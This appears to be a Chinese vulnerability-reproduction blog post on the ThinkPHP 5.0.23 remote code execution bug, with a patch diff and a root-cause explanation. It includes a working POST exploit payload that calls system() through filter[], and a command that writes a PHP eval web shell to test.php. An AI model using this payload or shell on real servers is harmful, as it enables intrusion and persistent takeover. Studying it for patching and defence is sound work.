当前位置:网站首页>漏洞复现----38、ThinkPHP5 5.0.23 远程代码执行漏洞
漏洞复现----38、ThinkPHP5 5.0.23 远程代码执行漏洞
2022-06-30 16:46:00 【七天啊】
一、漏洞简介
5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。Thinkphp源码下载
漏洞代码如下:
@@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{
$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{
$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
调用$this->{$this->method}($_POST);语句。当我们可以控制$method的值时,就可以调用Request类的任意方法,而当调用构造方法__construct()时,就可以覆盖Request类的任意成员变量,可以覆盖$this->method,指定check()方法中的$method值。
二、漏洞复现
访问IP:8080抓包
更改请求为POST /index.php?s=captcha
消息正文为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=command
commond=id/ls/whoami/echo <?php eval($_POST['cmd']);?> > test.php


边栏推荐
- Simulation of campus network design based on ENSP
- Babbitt | yuanuniverse daily must read: minors ask for a refund after a reward. The virtual anchor says he is a big wrongdoer. How do you think of this regulatory loophole
- Do fresh students get a job or choose a job after graduation?
- 巴比特 | 元宇宙每日必读:未成年人打赏后要求退款,虚拟主播称自己是大冤种,怎么看待这个监管漏洞?...
- New research of HKUST & MsrA: about image to image conversion, finishing is all you need
- 力扣解法汇总1175-质数排列
- Animesr: learnable degradation operator and new real world animation VSR dataset
- Post penetration file system + uploading and downloading files
- Redis (I) - data type
- Distributed machine learning: model average Ma and elastic average easgd (pyspark)
猜你喜欢

Solution: STM32 failed to parse data using cjson

Shortcut keys for the rainbow brackets plug-in

Development: how to install offline MySQL in Linux system?

零基础也能做Apple大片!这款免费工具帮你渲染、做特效、丝滑展示

基於SSH的網上商城設計

Tubes响应性数据系统的设计与原理

Zero foundation can also be an apple blockbuster! This free tool can help you render, make special effects and show silky slides

Spin lock exploration

Vue3 reactive database

Deep understanding of JVM (II) - memory structure (II)
随机推荐
Redis (IX) - enterprise level solution (II)
Building a basic buildreoot file system
编译生成busybox文件系统
Three methods of modifying time zone in MySQL
基于SSH的客户关系CRM管理系统
Compile and generate busybox file system
Distributed machine learning: model average Ma and elastic average easgd (pyspark)
Is there an optimal solution to the energy consumption anxiety in the data center?
MIT science and Technology Review released the list of innovators under the age of 35 in 2022, including alphafold authors, etc
后渗透之文件系统+上传下载文件
VScode 状态条 StatusBar
[binary tree] preorder traversal to construct binary search tree
现在玩期货需要注意什么,在哪里开户比较安全,我第一次接触
DeFi借贷协议机制对比:Euler、Compound、Aave和Rari Capital
Redis (IV) - delete policy
Ten thousand volumes - list sorting [01]
[sword finger offer] 53 - I. find the number I in the sorted array
【云驻共创】Huawei iConnect使能物联终端一触即联
[software testing] basic knowledge of software testing you need to know
Simulation of campus network design based on ENSP